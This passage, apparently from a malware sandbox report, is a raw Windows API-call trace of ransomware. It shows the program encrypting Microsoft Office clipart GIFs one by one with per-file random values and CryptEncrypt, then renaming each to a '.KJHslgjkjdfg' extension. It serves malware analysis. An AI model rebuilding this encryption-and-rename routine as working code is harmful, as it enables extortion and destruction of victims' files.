lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x37e, lpOverlapped=0x0) returned 1 [0192.864] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x380, dwBufLen=0x380 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x380) returned 1 [0192.864] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.864] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x380, lpOverlapped=0x0) returned 1 [0192.864] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.864] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x454, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.864] SetEndOfFile (hFile=0x114) returned 1 [0192.867] GetProcessHeap () returned 0x2a0000 [0192.867] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0192.867] GetProcessHeap () returned 0x2a0000 [0192.867] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0192.867] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01297_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01297_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01297_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01297_.gif.kjhslgjkjdfg")) returned 1 [0192.869] CloseHandle (hObject=0x114) returned 1 [0192.869] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d921100, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d921100, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x2bc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01298_.GIF", cAlternateFileName="")) returned 1 [0192.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01298_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01298_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0192.871] GetProcessHeap () returned 0x2a0000 [0192.871] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0192.871] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0192.871] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0192.871] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0192.873] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.873] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.873] GetProcessHeap () returned 0x2a0000 [0192.873] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0192.873] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0192.873] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.873] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0192.873] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0192.874] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0192.874] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0192.874] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0192.874] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0192.874] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.874] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.874] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.874] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2bc, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2bc, lpOverlapped=0x0) returned 1 [0192.874] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2c0, dwBufLen=0x2c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2c0) returned 1 [0192.875] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.875] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2c0, lpOverlapped=0x0) returned 1 [0192.875] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.875] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x394, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.875] SetEndOfFile (hFile=0x114) returned 1 [0192.877] GetProcessHeap () returned 0x2a0000 [0192.877] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0192.877] GetProcessHeap () returned 0x2a0000 [0192.877] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0192.877] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01298_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01298_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01298_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01298_.gif.kjhslgjkjdfg")) returned 1 [0192.879] CloseHandle (hObject=0x114) returned 1 [0192.879] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82d77c00, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82d77c00, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01299_.GIF", cAlternateFileName="")) returned 1 [0192.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01299_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01299_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0192.881] GetProcessHeap () returned 0x2a0000 [0192.881] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0192.881] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0192.881] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0192.881] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0192.883] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.883] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.883] GetProcessHeap () returned 0x2a0000 [0192.883] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0192.883] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0192.883] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.883] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0192.883] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0192.883] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0192.883] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0192.883] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0192.883] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0192.883] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.883] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.883] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.884] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x13e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x13e, lpOverlapped=0x0) returned 1 [0192.884] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x140, dwBufLen=0x140 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x140) returned 1 [0192.884] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.884] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x140, lpOverlapped=0x0) returned 1 [0192.884] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.884] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x214, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.884] SetEndOfFile (hFile=0x114) returned 1 [0192.886] GetProcessHeap () returned 0x2a0000 [0192.886] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0192.887] GetProcessHeap () returned 0x2a0000 [0192.887] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0192.887] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01299_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01299_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01299_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01299_.gif.kjhslgjkjdfg")) returned 1 [0192.888] CloseHandle (hObject=0x114) returned 1 [0192.888] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x794e1400, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x794e1400, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x250, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01300_.GIF", cAlternateFileName="")) returned 1 [0192.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01300_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01300_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0192.890] GetProcessHeap () returned 0x2a0000 [0192.890] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0192.890] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0192.890] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0192.890] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.890] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.890] GetProcessHeap () returned 0x2a0000 [0192.890] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0192.890] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0192.890] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.890] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0192.892] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0192.892] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0192.892] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0192.893] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0192.893] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0192.893] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.893] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.893] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.893] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x250, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x250, lpOverlapped=0x0) returned 1 [0192.893] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x250, dwBufLen=0x250 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x250) returned 1 [0192.893] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.893] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x250, lpOverlapped=0x0) returned 1 [0192.893] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.893] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x324, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.893] SetEndOfFile (hFile=0x114) returned 1 [0192.896] GetProcessHeap () returned 0x2a0000 [0192.896] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0192.896] GetProcessHeap () returned 0x2a0000 [0192.896] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0192.896] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01300_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01300_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01300_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01300_.gif.kjhslgjkjdfg")) returned 1 [0192.898] CloseHandle (hObject=0x114) returned 1 [0192.898] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74896000, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74896000, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x2a9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01301_.GIF", cAlternateFileName="")) returned 1 [0192.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01301_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01301_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0192.900] GetProcessHeap () returned 0x2a0000 [0192.900] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0192.900] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0192.900] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0192.900] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x7, lpOverlapped=0x0) returned 1 [0192.903] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.903] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.903] GetProcessHeap () returned 0x2a0000 [0192.903] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0192.904] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0192.904] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.904] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0192.904] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0192.904] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0192.904] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0192.904] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0192.904] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0192.904] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.904] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.905] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.905] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2a9, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2a9, lpOverlapped=0x0) returned 1 [0192.905] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2b0, dwBufLen=0x2b0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2b0) returned 1 [0192.905] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.905] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2b0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2b0, lpOverlapped=0x0) returned 1 [0192.905] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.905] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x384, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.905] SetEndOfFile (hFile=0x114) returned 1 [0192.909] GetProcessHeap () returned 0x2a0000 [0192.909] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0192.909] GetProcessHeap () returned 0x2a0000 [0192.909] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0192.910] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01301_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01301_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01301_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft 